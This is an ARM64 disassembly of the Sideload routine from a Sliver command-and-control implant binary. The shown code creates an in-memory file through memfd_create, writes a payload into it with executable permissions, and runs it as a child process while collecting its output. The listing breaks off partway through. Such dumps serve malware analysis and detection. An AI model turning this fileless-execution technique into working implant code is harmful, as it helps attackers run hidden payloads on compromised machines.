File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    00429dc0
    00429dc0github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload(struct string procName, struct []string procArgs, uint32 p2, struct []uint8 data, struct []string args, bool kill)
    00429dc0ldr x16, [x28+16]
    00429dc4sub x17, sp, 912
    00429dc8subs xzr, x17, x16
    00429dccb.ls 0x42aa14
    00429dd0sub x20, sp, 1040
    00429dd4stp x29, x30, [x20-8]
    00429dd8add sp, x20, 0
    00429ddcsub x29, sp, 8
    00429de0str x0, [sp+1048]
    00429de4str x1, [sp+1056]
    00429de8str x2, [sp+1064]
    00429decstr x3, [sp+1072]
    00429df0str x4, [sp+1080]
    00429df4str w5, [sp+1088]
    00429df8str x6, [sp+1096]
    00429dfcstr x7, [sp+1104]
    00429e00str x8, [sp+1112]
    00429e04str x9, [sp+1120]
    00429e08str x10, [sp+1128]
    00429e0cstr x11, [sp+1136]
    00429e10strb w12, [sp+1144]
    00429e14stp xzr, xzr, [sp+160]
    00429e18stp xzr, xzr, [sp+144]
    00429e1cstr xzr, [sp+64]
    00429e20adrp x0, 0x229000
    00429e24add x0, x0, 2048
    00429e28bl runtime.newobject
    00429e2cstr x0, [sp+1016]
    00429e30adrp x27, 0x622000
    00429e34ldr w1, [x27+3056]
    00429e38cbz w1, 0x429e40
    00429e3cb 0x429e44
    00429e40
    00429e40loc_429e40:
    00429e40b 0x429e60
    00429e44
    00429e44loc_429e44:
    00429e44str x0, [sp+288]
    00429e48mov x1, x0
    00429e4cadrp x0, 0x229000
    00429e50add x0, x0, 2048
    00429e54bl runtime.wbZero
    00429e58ldr x0, [sp+288]
    00429e5cb 0x429e60
    00429e60
    00429e60loc_429e60:
    00429e60stp xzr, xzr, [x0]
    00429e64stp xzr, xzr, [x0+16]
    00429e68str xzr, [x0+32]
    00429e6cadrp x0, 0x229000
    00429e70add x0, x0, 2048
    00429e74bl runtime.newobject
    00429e78str x0, [sp+1024]
    00429e7cadrp x27, 0x622000
    00429e80ldr w1, [x27+3056]
    00429e84cbz w1, 0x429e8c
    00429e88b 0x429e90
    00429e8c
    00429e8cloc_429e8c:
    00429e8cb 0x429eac
    00429e90
    00429e90loc_429e90:
    00429e90str x0, [sp+288]
    00429e94mov x1, x0
    00429e98adrp x0, 0x229000
    00429e9cadd x0, x0, 2048
    00429ea0bl runtime.wbZero
    00429ea4ldr x0, [sp+288]
    00429ea8b 0x429eac
    00429eac
    00429eacloc_429eac:
    00429eacstp xzr, xzr, [x0]
    00429eb0stp xzr, xzr, [x0+16]
    00429eb4str xzr, [x0+32]
    00429eb8adrp x0, 0x229000
    00429ebcadd x0, x0, 128
    00429ec0bl runtime.newobject
    00429ec4str x0, [sp+1008]
    00429ec8str xzr, [x0]
    00429eccstr wzr, [x0+8]
    00429ed0str xzr, [sp+280]
    00429ed4orr x0, xzr, 8
    00429ed8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString
    00429edcstr x0, [sp+200]
    00429ee0str x1, [sp+208]
    00429ee4str xzr, [sp+952]
    00429ee8add x27, sp, 936
    00429eecstp xzr, xzr, [x27]
    00429ef0ldr x0, [sp+200]
    00429ef4ldr x1, [sp+208]
    00429ef8bl syscall.BytePtrFromString
    00429efcstr x0, [sp+952]
    00429f00str x1, [sp+936]
    00429f04str x2, [sp+944]
    00429f08ldr x1, [sp+952]
    00429f0cstr x1, [sp+1000]
    00429f10ldr x1, [sp+936]
    00429f14ldr x2, [sp+944]
    00429f18str x1, [sp+984]
    00429f1cstr x2, [sp+992]
    00429f20ldr x1, [sp+1000]
    00429f24str x1, [sp+216]
    00429f28ldr x1, [sp+992]
    00429f2cldr x2, [sp+984]
    00429f30str x2, [sp+240]
    00429f34str x1, [sp+248]
    00429f38cbnz x2, 0x429f40
    00429f3cb 0x42a01c
    00429f40
    00429f40loc_429f40:
    00429f40add x27, sp, 920
    00429f44stp xzr, xzr, [x27]
    00429f48add x5, sp, 920
    00429f4cstr x5, [sp+760]
    00429f50ldr x5, [sp+240]
    00429f54ldr x6, [sp+248]
    00429f58str x5, [sp+744]
    00429f5cstr x6, [sp+752]
    00429f60str x5, [sp+736]
    00429f64ldr x5, [sp+736]
    00429f68cbnz x5, 0x429f70
    00429f6cb 0x429f80
    00429f70
    00429f70loc_429f70:
    00429f70ldr x5, [sp+736]
    00429f74ldr x5, [x5+8]
    00429f78str x5, [sp+736]
    00429f7cb 0x429f84
    00429f80
    00429f80loc_429f80:
    00429f80b 0x429f84
    00429f84
    00429f84loc_429f84:
    00429f84ldr x5, [sp+760]
    00429f88ldrsb x27, [x5]
    00429f8cldr x6, [sp+752]
    00429f90ldr x7, [sp+736]
    00429f94str x7, [x5]
    00429f98adrp x27, 0x622000
    00429f9cldr w7, [x27+3056]
    00429fa0cbz w7, 0x429fa8
    00429fa4b 0x429fac
    00429fa8
    00429fa8loc_429fa8:
    00429fa8b 0x429fc0
    00429fac
    00429facloc_429fac:
    00429facbl runtime.gcWriteBarrier2
    00429fb0str x6, [x25]
    00429fb4ldr x7, [x5+8]
    00429fb8str x7, [x25+8]
    00429fbcb 0x429fc0
    00429fc0
    00429fc0loc_429fc0:
    00429fc0str x6, [x5+8]
    00429fc4ldr x2, [sp+760]
    00429fc8ldrsb x27, [x2]
    00429fccb 0x429fd0
    00429fd0
    00429fd0loc_429fd0:
    00429fd0str x2, [sp+768]
    00429fd4orr x4, xzr, 1
    00429fd8str x4, [sp+776]
    00429fdcstr x4, [sp+784]
    00429fe0adrp x0, 0x292000
    00429fe4add x0, x0, 2620
    00429fe8orr x1, xzr, 28
    00429fecmov x3, x4
    00429ff0bl log.Printf
    00429ff4stp xzr, xzr, [sp+160]
    00429ff8ldr x3, [sp+248]
    00429ffcldr x2, [sp+240]
    0042a000str x2, [sp+144]
    0042a004str x3, [sp+152]
    0042a008ldr x0, [sp+160]
    0042a00cldr x1, [sp+168]
    0042a010ldp x29, x30, [sp-8]
    0042a014add sp, sp, 1040
    0042a018ret x30
    0042a01c
    0042a01cloc_42a01c:
    0042a01cmovz x4, 319
    0042a020str x4, [sp+64]
    0042a024ldr x4, [sp+216]
    0042a028str x4, [sp+960]
    0042a02cldr x0, [sp+64]
    0042a030ldr x1, [sp+960]
    0042a034orr x2, xzr, 1
    0042a038mov x3, xzr
    0042a03cbl syscall.Syscall
    0042a040str x0, [sp+112]
    0042a044str x1, [sp+104]
    0042a048str x2, [sp+96]
    0042a04cstr x0, [sp+136]
    0042a050str x1, [sp+128]
    0042a054str x2, [sp+120]
    0042a058str x0, [sp+72]
    0042a05cbl os.Getpid
    0042a060str x0, [sp+56]
    0042a064add x27, sp, 888
    0042a068stp xzr, xzr, [x27]
    0042a06cadd x27, sp, 904
    0042a070stp xzr, xzr, [x27]
    0042a074add x4, sp, 888
    0042a078str x4, [sp+704]
    0042a07cldr x0, [sp+56]
    0042a080bl runtime.convT64
    0042a084str x0, [sp+696]
    0042a088ldr x4, [sp+704]
    0042a08cldrsb x27, [x4]
    0042a090adrp x5, 0x1cb000
    0042a094add x5, x5, 3520
    0042a098str x5, [x4]
    0042a09cadrp x27, 0x621000
    0042a0a0ldr w5, [x27+3056]
    0042a0a4cbz w5, 0x42a0ac
    0042a0a8b 0x42a0b0
    0042a0ac
    0042a0acloc_42a0ac:
    0042a0acb 0x42a0c4
    0042a0b0
    0042a0b0loc_42a0b0:
    0042a0b0bl runtime.gcWriteBarrier2
    0042a0b4str x0, [x25]
    0042a0b8ldr x1, [x4+8]
    0042a0bcstr x1, [x25+8]
    0042a0c0b 0x42a0c4
    0042a0c4
    0042a0c4loc_42a0c4:
    0042a0c4str x0, [x4+8]
    0042a0c8ldr x0, [sp+72]
    0042a0ccbl runtime.convT64
    0042a0d0str x0, [sp+688]
    0042a0d4ldr x1, [sp+704]
    0042a0d8ldrsb x27, [x1]
    0042a0dcadrp x2, 0x1cb000
    0042a0e0add x2, x2, 3648
    0042a0e4str x2, [x1+16]
    0042a0e8adrp x27, 0x621000
    0042a0ecldr w2, [x27+3056]
    0042a0f0cbz w2, 0x42a0f8
    0042a0f4b 0x42a0fc
    0042a0f8
    0042a0f8loc_42a0f8:
    0042a0f8b 0x42a110
    0042a0fc
    0042a0fcloc_42a0fc:
    0042a0fcbl runtime.gcWriteBarrier2
    0042a100str x0, [x25]
    0042a104ldr x5, [x1+24]
    0042a108str x5, [x25+8]
    0042a10cb 0x42a110
    0042a110
    0042a110loc_42a110:
    0042a110str x0, [x1+24]
    0042a114ldr x2, [sp+704]
    0042a118ldrsb x27, [x2]
    0042a11cb 0x42a120
    0042a120
    0042a120loc_42a120:
    0042a120str x2, [sp+712]
    0042a124orr x4, xzr, 2
    0042a128str x4, [sp+720]
    0042a12cstr x4, [sp+728]
    0042a130adrp x0, 0x289000
    0042a134add x0, x0, 3542
    0042a138orr x1, xzr, 14
    0042a13cmov x3, x4
    0042a140bl fmt.Sprintf
    0042a144str x0, [sp+224]
    0042a148str x1, [sp+232]
    0042a14cldr x3, [sp+1104]
    0042a150ldr x4, [sp+1112]
    0042a154ldr x2, [sp+1096]
    0042a158movz x5, 493
    0042a15cbl os.WriteFile
    0042a160str x0, [sp+240]
    0042a164str x1, [sp+248]
    0042a168cbnz x0, 0x42a170
    0042a16cb 0x42a24c
    0042a170
    0042a170loc_42a170:
    0042a170add x27, sp, 920
    0042a174stp xzr, xzr, [x27]
    0042a178add x5, sp, 920
    0042a17cstr x5, [sp+656]
    0042a180ldr x5, [sp+240]
    0042a184ldr x6, [sp+248]
    0042a188str x5, [sp+640]
    0042a18cstr x6, [sp+648]
    0042a190str x5, [sp+632]
    0042a194ldr x5, [sp+632]
    0042a198cbnz x5, 0x42a1a0
    0042a19cb 0x42a1b0
    0042a1a0
    0042a1a0loc_42a1a0:
    0042a1a0ldr x5, [sp+632]
    0042a1a4ldr x5, [x5+8]
    0042a1a8str x5, [sp+632]
    0042a1acb 0x42a1b4
    0042a1b0
    0042a1b0loc_42a1b0:
    0042a1b0b 0x42a1b4
    0042a1b4
    0042a1b4loc_42a1b4:
    0042a1b4ldr x5, [sp+656]
    0042a1b8ldrsb x27, [x5]
    0042a1bcldr x6, [sp+632]
    0042a1c0ldr x7, [sp+648]
    0042a1c4str x6, [x5]
    0042a1c8adrp x27, 0x621000
    0042a1ccldr w6, [x27+3056]
    0042a1d0cbz w6, 0x42a1d8
    0042a1d4b 0x42a1dc
    0042a1d8
    0042a1d8loc_42a1d8:
    0042a1d8b 0x42a1f0
    0042a1dc
    0042a1dcloc_42a1dc:
    0042a1dcbl runtime.gcWriteBarrier2
    0042a1e0str x7, [x25]
    0042a1e4ldr x6, [x5+8]
    0042a1e8str x6, [x25+8]
    0042a1ecb 0x42a1f0
    0042a1f0
    0042a1f0loc_42a1f0:
    0042a1f0str x7, [x5+8]
    0042a1f4ldr x2, [sp+656]
    0042a1f8ldrsb x27, [x2]
    0042a1fcb 0x42a200
    0042a200
    0042a200loc_42a200:
    0042a200str x2, [sp+664]
    0042a204orr x4, xzr, 1
    0042a208str x4, [sp+672]
    0042a20cstr x4, [sp+680]
    0042a210adrp x0, 0x294000
    0042a214add x0, x0, 2288
    0042a218orr x1, xzr, 32
    0042a21cmov x3, x4
    0042a220bl log.Printf
    0042a224stp xzr, xzr, [sp+160]
    0042a228ldr x3, [sp+248]
    0042a22cldr x2, [sp+240]
    0042a230str x2, [sp+144]
    0042a234str x3, [sp+152]
    0042a238ldr x0, [sp+160]
    0042a23cldr x1, [sp+168]
    0042a240ldp x29, x30, [sp-8]
    0042a244add sp, sp, 1040
    0042a248ret x30
    0042a24c
    0042a24cloc_42a24c:
    0042a24cadd x27, sp, 920
    0042a250stp xzr, xzr, [x27]
    0042a254add x2, sp, 920
    0042a258str x2, [sp+600]
    0042a25cldr x0, [sp+224]
    0042a260ldr x1, [sp+232]
    0042a264bl runtime.convTstring
    0042a268str x0, [sp+592]
    0042a26cldr x2, [sp+600]
    0042a270ldrsb x27, [x2]
    0042a274adrp x3, 0x1cb000
    0042a278add x3, x3, 2944
    0042a27cstr x3, [x2]
    0042a280adrp x27, 0x621000
    0042a284ldr w3, [x27+3056]
    0042a288cbz w3, 0x42a290
    0042a28cb 0x42a294
    0042a290
    0042a290loc_42a290:
    0042a290b 0x42a2a8
    0042a294
    0042a294loc_42a294:
    0042a294bl runtime.gcWriteBarrier2
    0042a298str x0, [x25]
    0042a29cldr x5, [x2+8]
    0042a2a0str x5, [x25+8]
    0042a2a4b 0x42a2a8
    0042a2a8
    0042a2a8loc_42a2a8:
    0042a2a8str x0, [x2+8]
    0042a2acldr x2, [sp+600]
    0042a2b0ldrsb x27, [x2]
    0042a2b4b 0x42a2b8
    0042a2b8
    0042a2b8loc_42a2b8:
    0042a2b8str x2, [sp+608]
    0042a2bcorr x4, xzr, 1
    0042a2c0str x4, [sp+616]
    0042a2c4str x4, [sp+624]
    0042a2c8adrp x0, 0x28c000
    0042a2ccadd x0, x0, 1175
    0042a2d0movz x1, 19
    0042a2d4mov x3, x4
    0042a2d8bl log.Printf
    0042a2dcbl os.Environ
    0042a2e0str x0, [sp+256]
    0042a2e4str x1, [sp+264]
    0042a2e8str x2, [sp+272]
    0042a2ecldr x0, [sp+1120]
    0042a2f0ldr x1, [sp+1128]
    0042a2f4ldr x2, [sp+1136]
    0042a2f8adrp x3, 0x2e6000
    0042a2fcadd x3, x3, 3072
    0042a300orr x4, xzr, 1
    0042a304bl strings.Join
    0042a308str x0, [sp+872]
    0042a30cstr x1, [sp+880]
    0042a310add x27, sp, 920
    0042a314stp xzr, xzr, [x27]
    0042a318add x5, sp, 920
    0042a31cstr x5, [sp+560]
    0042a320ldr x0, [sp+872]
    0042a324ldr x1, [sp+880]
    0042a328bl runtime.convTstring
    0042a32cstr x0, [sp+552]
    0042a330ldr x5, [sp+560]
    0042a334ldrsb x27, [x5]
    0042a338adrp x6, 0x1cb000
    0042a33cadd x6, x6, 2944
    0042a340str x6, [x5]
    0042a344adrp x27, 0x621000
    0042a348ldr w6, [x27+3056]
    0042a34ccbz w6, 0x42a354
    0042a350b 0x42a358
    0042a354
    0042a354loc_42a354:
    0042a354b 0x42a36c
    0042a358
    0042a358loc_42a358:
    0042a358bl runtime.gcWriteBarrier2
    0042a35cstr x0, [x25]
    0042a360ldr x6, [x5+8]
    0042a364str x6, [x25+8]
    0042a368b 0x42a36c
    0042a36c
    0042a36cloc_42a36c:
    0042a36cstr x0, [x5+8]
    0042a370ldr x2, [sp+560]
    0042a374ldrsb x27, [x2]
    0042a378b 0x42a37c
    0042a37c
    0042a37cloc_42a37c:
    0042a37cstr x2, [sp+568]
    0042a380orr x4, xzr, 1
    0042a384str x4, [sp+576]
    0042a388str x4, [sp+584]
    0042a38cadrp x0, 0x289000
    0042a390add x0, x0, 552
    0042a394orr x1, xzr, 12
    0042a398mov x3, x4
    0042a39cbl fmt.Sprintf
    0042a3a0str x0, [sp+856]
    0042a3a4str x1, [sp+864]
    0042a3a8add x27, sp, 840
    0042a3acstp xzr, xzr, [x27]
    0042a3b0add x5, sp, 840
    0042a3b4str x5, [sp+520]
    0042a3b8ldr x0, [sp+224]
    0042a3bcldr x1, [sp+232]
    0042a3c0bl runtime.convTstring
    0042a3c4str x0, [sp+512]
    0042a3c8ldr x5, [sp+520]
    0042a3ccldrsb x27, [x5]
    0042a3d0adrp x6, 0x1cb000
    0042a3d4add x6, x6, 2944
    0042a3d8str x6, [x5]
    0042a3dcadrp x27, 0x621000
    0042a3e0ldr w6, [x27+3056]
    0042a3e4cbz w6, 0x42a3ec
    0042a3e8b 0x42a3f0
    0042a3ec
    0042a3ecloc_42a3ec:
    0042a3ecb 0x42a404
    0042a3f0
    0042a3f0loc_42a3f0:
    0042a3f0bl runtime.gcWriteBarrier2
    0042a3f4str x0, [x25]
    0042a3f8ldr x6, [x5+8]
    0042a3fcstr x6, [x25+8]
    0042a400b 0x42a404
    0042a404
    0042a404loc_42a404:
    0042a404str x0, [x5+8]
    0042a408ldr x2, [sp+520]
    0042a40cldrsb x27, [x2]
    0042a410b 0x42a414
    0042a414
    0042a414loc_42a414:
    0042a414str x2, [sp+528]
    0042a418orr x4, xzr, 1
    0042a41cstr x4, [sp+536]
    0042a420str x4, [sp+544]
    0042a424adrp x0, 0x289000
    0042a428add x0, x0, 2226
    0042a42cmovz x1, 13
    0042a430mov x3, x4
    0042a434bl fmt.Sprintf
    0042a438str x0, [sp+824]
    0042a43cstr x1, [sp+832]
    0042a440stp xzr, xzr, [sp+472]
    0042a444stp xzr, xzr, [sp+488]
    0042a448add x5, sp, 472
    0042a44cstr x5, [sp+504]
    0042a450ldrsb x27, [x5]
    0042a454ldr x6, [sp+856]
    0042a458ldr x7, [sp+864]
    0042a45cstr x7, [x5+8]
    0042a460adrp x27, 0x621000
    0042a464ldr w7, [x27+3056]
    0042a468cbz w7, 0x42a470
    0042a46cb 0x42a474
    0042a470
    0042a470loc_42a470:
    0042a470b 0x42a488
    0042a474
    0042a474loc_42a474:
    0042a474bl runtime.gcWriteBarrier2
    0042a478str x6, [x25]
    0042a47cldr x7, [x5]
    0042a480str x7, [x25+8]
    0042a484b 0x42a488
    0042a488
    0042a488loc_42a488:
    0042a488str x6, [x5]
    0042a48cldrsb x27, [x5]
    0042a490ldr x6, [sp+824]
    0042a494ldr x7, [sp+832]
    0042a498str x7, [x5+24]
    0042a49cadrp x27, 0x621000
    0042a4a0ldr w7, [x27+3056]
    0042a4a4cbz w7, 0x42a4ac
    0042a4a8b 0x42a4b0
    0042a4ac
    0042a4acloc_42a4ac:
    0042a4acb 0x42a4c4
    0042a4b0
    0042a4b0loc_42a4b0:
    0042a4b0bl runtime.gcWriteBarrier2
    0042a4b4str x6, [x25]
    0042a4b8ldr x7, [x5+16]
    0042a4bcstr x7, [x25+8]
    0042a4c0b 0x42a4c4
    0042a4c4
    0042a4c4loc_42a4c4:
    0042a4c4str x6, [x5+16]
    0042a4c8ldr x5, [sp+504]
    0042a4ccldrsb x27, [x5]
    0042a4d0b 0x42a4d4
    0042a4d4
    0042a4d4loc_42a4d4:
    0042a4d4str x5, [sp+176]
    0042a4d8orr x5, xzr, 2
    0042a4dcstr x5, [sp+184]
    0042a4e0str x5, [sp+192]
    0042a4e4ldr x2, [sp+272]
    0042a4e8ldr x0, [sp+256]
    0042a4ecldr x5, [sp+264]
    0042a4f0str x0, [sp+448]
    0042a4f4str x5, [sp+456]
    0042a4f8str x2, [sp+464]
    0042a4fcldr x6, [sp+184]
    0042a500add x1, x5, x6
    0042a504str x1, [sp+80]
    0042a508subs xzr, x2, x1
    0042a50cb.hs 0x42a514
    0042a510b 0x42a51c
    0042a514
    0042a514loc_42a514:
    0042a514str x1, [sp+456]
    0042a518b 0x42a53c
    0042a51c
    0042a51cloc_42a51c:
    0042a51cldr x3, [sp+184]
    0042a520adrp x4, 0x1cb000
    0042a524add x4, x4, 2944
    0042a528bl runtime.growslice
    0042a52cstr x0, [sp+448]
    0042a530str x1, [sp+456]
    0042a534str x2, [sp+464]
    0042a538b 0x42a53c
    0042a53c
    0042a53cloc_42a53c:
    0042a53cldr x5, [sp+80]
    0042a540ldr x6, [sp+184]
    0042a544sub x7, x5, x6
    0042a548ubfm x7, x7, 60, 59
    0042a54cldr x8, [sp+448]
    0042a550ldr x9, [sp+456]
    0042a554add x9, x9, x6
    0042a558sub x2, x9, x5
    0042a55cldr x9, [sp+464]
    0042a560add x6, x9, x6
    0042a564sub x5, x6, x5
    0042a568sub x6, xzr, x5
    0042a56cand x6, x7, x6, asr #63
    0042a570add x1, x8, x6
    0042a574str x1, [sp+424]
    0042a578str x2, [sp+432]
    0042a57cstr x5, [sp+440]
    0042a580ldr x3, [sp+176]
    0042a584ldr x4, [sp+184]
    0042a588adrp x0, 0x1cb000
    0042a58cadd x0, x0, 2944
    0042a590bl runtime.typedslicecopy
    0042a594ldr x5, [sp+448]
    0042a598ldr x6, [sp+456]
    0042a59cldr x7, [sp+464]
    0042a5a0str x5, [sp+256]
    0042a5a4str x6, [sp+264]
    0042a5a8str x7, [sp+272]
    0042a5acldr x5, [sp+1072]
    0042a5b0str x5, [sp+88]
    0042a5b4cbnz x5, 0x42a5bc
    0042a5b8b 0x42a5dc
    0042a5bc
    0042a5bcloc_42a5bc:
    0042a5bcldr x0, [sp+1048]
    0042a5c0ldr x2, [sp+1064]
    0042a5c4ldr x1, [sp+1056]
    0042a5c8ldr x3, [sp+1072]
    0042a5ccldr x4, [sp+1080]
    0042a5d0bl os/exec.Command
    0042a5d4str x0, [sp+280]
    0042a5d8b 0x42a5fc
    0042a5dc
    0042a5dcloc_42a5dc:
    0042a5dcldr x0, [sp+1048]
    0042a5e0ldr x1, [sp+1056]
    0042a5e4mov x2, xzr
    0042a5e8mov x3, xzr
    0042a5ecmov x4, x3
    0042a5f0bl os/exec.Command
    0042a5f4str x0, [sp+280]
    0042a5f8b 0x42a5fc
    0042a5fc
    0042a5fcloc_42a5fc:
    0042a5fcldr x1, [sp+280]
    0042a600ldrsb x27, [x1]
    0042a604ldr x2, [sp+256]
    0042a608ldr x3, [sp+264]
    0042a60cldr x4, [sp+272]
    0042a610str x3, [x1+48]
    0042a614str x4, [x1+56]
    0042a618adrp x27, 0x621000
    0042a61cldr w3, [x27+3056]
    0042a620cbz w3, 0x42a628
    0042a624b 0x42a62c
    0042a628
    0042a628loc_42a628:
    0042a628b 0x42a640
    0042a62c
    0042a62cloc_42a62c:
    0042a62cbl runtime.gcWriteBarrier2
    0042a630str x2, [x25]
    0042a634ldr x3, [x1+40]
    0042a638str x3, [x25+8]
    0042a63cb 0x42a640
    0042a640
    0042a640loc_42a640:
    0042a640str x2, [x1+40]
    0042a644ldr x1, [sp+1016]
    0042a648str x1, [sp+816]
    0042a64cldr x2, [sp+280]
    0042a650ldrsb x27, [x2]
    0042a654adrp x3, 0x2e9000
    0042a658add x3, x3, 2976
    0042a65cstr x3, [x2+96]
    0042a660adrp x27, 0x621000
    0042a664ldr w3, [x27+3056]
    0042a668cbz w3, 0x42a670
    0042a66cb 0x42a674
    0042a670
    0042a670loc_42a670:
    0042a670b 0x42a688
    0042a674
    0042a674loc_42a674:
    0042a674bl runtime.gcWriteBarrier2
    0042a678str x1, [x25]
    0042a67cldr x3, [x2+104]
    0042a680str x3, [x25+8]
    0042a684b 0x42a688
    0042a688
    0042a688loc_42a688:
    0042a688str x1, [x2+104]
    0042a68cldr x1, [sp+1024]
    0042a690str x1, [sp+816]
    0042a694ldr x2, [sp+280]
    0042a698ldrsb x27, [x2]
    0042a69cadrp x3, 0x2e9000
    0042a6a0add x3, x3, 2976
    0042a6a4str x3, [x2+112]
    0042a6a8adrp x27, 0x621000
    0042a6acldr w3, [x27+3056]
    0042a6b0cbz w3, 0x42a6b8
    0042a6b4b 0x42a6bc
    0042a6b8
    0042a6b8loc_42a6b8:
    0042a6b8b 0x42a6d0
    0042a6bc
    0042a6bcloc_42a6bc:
    0042a6bcbl runtime.gcWriteBarrier2
    0042a6c0str x1, [x25]
    0042a6c4ldr x3, [x2+120]
    0042a6c8str x3, [x25+8]
    0042a6ccb 0x42a6d0
    0042a6d0
    0042a6d0loc_42a6d0:
    0042a6d0str x1, [x2+120]
    0042a6d4ldr x0, [sp+280]
    0042a6d8bl os/exec.(*Cmd).String
    0042a6dcstr x0, [sp+824]
    0042a6e0str x1, [sp+832]
    0042a6e4add x27, sp, 840
    0042a6e8stp xzr, xzr, [x27]
    0042a6ecadd x1, sp, 840
    0042a6f0str x1, [sp+392]
    0042a6f4ldr x0, [sp+824]
    0042a6f8ldr x1, [sp+832]
    0042a6fcbl runtime.convTstring
    0042a700str x0, [sp+384]
    0042a704ldr x1, [sp+392]
    0042a708ldrsb x27, [x1]
    0042a70cadrp x2, 0x1cb000
    0042a710add x2, x2, 2944
    0042a714str x2, [x1]
    0042a718adrp x27, 0x621000
    0042a71cldr w2, [x27+3056]
    0042a720cbz w2, 0x42a728
    0042a724b 0x42a72c
    0042a728
    0042a728loc_42a728:
    0042a728b 0x42a740
    0042a72c
    0042a72cloc_42a72c:
    0042a72cbl runtime.gcWriteBarrier2
    0042a730str x0, [x25]
    0042a734ldr x5, [x1+8]
    0042a738str x5, [x25+8]
    0042a73cb 0x42a740
    0042a740
    0042a740loc_42a740:
    0042a740str x0, [x1+8]
    0042a744ldr x2, [sp+392]
    0042a748ldrsb x27, [x2]
    0042a74cb 0x42a750
    0042a750
    0042a750loc_42a750:
    0042a750str x2, [sp+400]
    0042a754orr x4, xzr, 1
    0042a758str x4, [sp+408]
    0042a75cstr x4, [sp+416]
    0042a760adrp x0, 0x289000
    0042a764add x0, x0, 564
    0042a768orr x1, xzr, 12
    0042a76cmov x3, x4
    0042a770bl log.Printf
    0042a774ldr x0, [sp+1008]
    0042a778orr x1, xzr, 1
    0042a77cbl sync.(*WaitGroup).Add
    0042a780ldr x5, [sp+280]
    0042a784str x5, [sp+976]
    0042a788ldr x5, [sp+1008]
    0042a78cstr x5, [sp+968]
    0042a790adrp x0, 0x222000
    0042a794add x0, x0, 960
    0042a798bl runtime.newobject
    0042a79cstr x0, [sp+376]
    0042a7a0adrp x5, 0
    0042a7a4add x5, x5, 2656
    0042a7a8str x5, [x0]
    0042a7acldr x5, [sp+976]
    0042a7b0ldr x6, [sp+376]
    0042a7b4ldrsb x27, [x6]
    0042a7b8adrp x27, 0x621000
    0042a7bcldr w7, [x27+3056]
    0042a7c0cbz w7, 0x42a7c8
    0042a7c4b 0x42a7cc
    0042a7c8
    0042a7c8loc_42a7c8:
    0042a7c8b 0x42a7e0
    0042a7cc
    0042a7ccloc_42a7cc:
    0042a7ccbl runtime.gcWriteBarrier2
    0042a7d0str x5, [x25]
    0042a7d4ldr x1, [x6+8]
    0042a7d8str x1, [x25+8]
    0042a7dcb 0x42a7e0
    0042a7e0
    0042a7e0loc_42a7e0:
    0042a7e0str x5, [x6+8]
    0042a7e4ldr x1, [sp+968]
    0042a7e8ldr x2, [sp+376]
    0042a7ecldrsb x27, [x2]
    0042a7f0adrp x27, 0x621000
    0042a7f4ldr w3, [x27+3056]
    0042a7f8cbz w3, 0x42a800
    0042a7fcb 0x42a804
    0042a800
    0042a800loc_42a800:
    0042a800b 0x42a818
    0042a804
    0042a804loc_42a804:
    0042a804bl runtime.gcWriteBarrier2
    0042a808str x1, [x25]
    0042a80cldr x3, [x2+16]
    0042a810str x3, [x25+8]
    0042a814b 0x42a818
    0042a818
    0042a818loc_42a818:
    0042a818str x1, [x2+16]
    0042a81cldr x0, [sp+376]
    0042a820bl runtime.newproc
    0042a824ldr x0, [sp+1008]
    0042a828bl sync.(*WaitGroup).Wait
    0042a82cldr x0, [sp+1024]
    0042a830bl bytes.(*Buffer).Bytes
    0042a834str x0, [sp+792]
    0042a838str x1, [sp+800]
    0042a83cstr x2, [sp+808]
    0042a840str x1, [sp+88]
    0042a844cbnz x1, 0x42a84c
    0042a848b 0x42a89c
    0042a84c
    0042a84cloc_42a84c:
    0042a84cldr x0, [sp+1024]
    0042a850bl bytes.(*Buffer).String
    0042a854str x0, [sp+824]
    0042a858str x1, [sp+832]
    0042a85cmov x2, xzr
    0042a860mov x3, xzr
    0042a864mov x4, x3
    0042a868bl fmt.Errorf
    0042a86cstr x0, [sp+936]
    0042a870str x1, [sp+944]
    0042a874stp xzr, xzr, [sp+160]
    0042a878ldr x2, [sp+936]
    0042a87cldr x3, [sp+944]
    0042a880str x2, [sp+144]
    0042a884str x3, [sp+152]
    0042a888ldr x0, [sp+160]
    0042a88cldr x1, [sp+168]
    0042a890ldp x29, x30, [sp-8]
    0042a894add sp, sp, 1040
    0042a898ret x30
    0042a89c
    0042a89cloc_42a89c:
    0042a89cldr x0, [sp+1016]
    0042a8a0bl bytes.(*Buffer).String
    0042a8a4str x0, [sp+824]
    0042a8a8str x1, [sp+832]
    0042a8acadd x27, sp, 840
    0042a8b0stp xzr, xzr, [x27]
    0042a8b4add x1, sp, 840
    0042a8b8str x1, [sp+344]
    0042a8bcldr x0, [sp+824]
    0042a8c0ldr x1, [sp+832]
    0042a8c4bl runtime.convTstring
    0042a8c8str x0, [sp+336]
    0042a8ccldr x1, [sp+344]
    0042a8d0ldrsb x27, [x1]
    0042a8d4adrp x2, 0x1cb000
    0042a8d8add x2, x2, 2944
    0042a8dcstr x2, [x1]
    0042a8e0adrp x27, 0x621000
    0042a8e4ldr w2, [x27+3056]
    0042a8e8cbz w2, 0x42a8f0
    0042a8ecb 0x42a8f4
    0042a8f0
    0042a8f0loc_42a8f0:
    0042a8f0b 0x42a908
    0042a8f4
    0042a8f4loc_42a8f4:
    0042a8f4bl runtime.gcWriteBarrier2
    0042a8f8str x0, [x25]
    0042a8fcldr x5, [x1+8]
    0042a900str x5, [x25+8]
    0042a904b 0x42a908
    0042a908
    0042a908loc_42a908:
    0042a908str x0, [x1+8]
    0042a90cldr x2, [sp+344]
    0042a910ldrsb x27, [x2]
    0042a914b 0x42a918
    0042a918
    0042a918loc_42a918:
    0042a918str x2, [sp+352]
    0042a91corr x4, xzr, 1
    0042a920str x4, [sp+360]
    0042a924str x4, [sp+368]
    0042a928adrp x0, 0x28b000
    0042a92cadd x0, x0, 1186
    0042a930movz x1, 17
    0042a934mov x3, x4
    0042a938bl log.Printf
    0042a93cldr x0, [sp+1024]
    0042a940bl bytes.(*Buffer).String
    0042a944str x0, [sp+824]
    0042a948str x1, [sp+832]
    0042a94cadd x27, sp, 840
    0042a950stp xzr, xzr, [x27]
    0042a954add x5, sp, 840
    0042a958str x5, [sp+304]
    0042a95cldr x0, [sp+824]
    0042a960ldr x1, [sp+832]
    0042a964bl runtime.convTstring
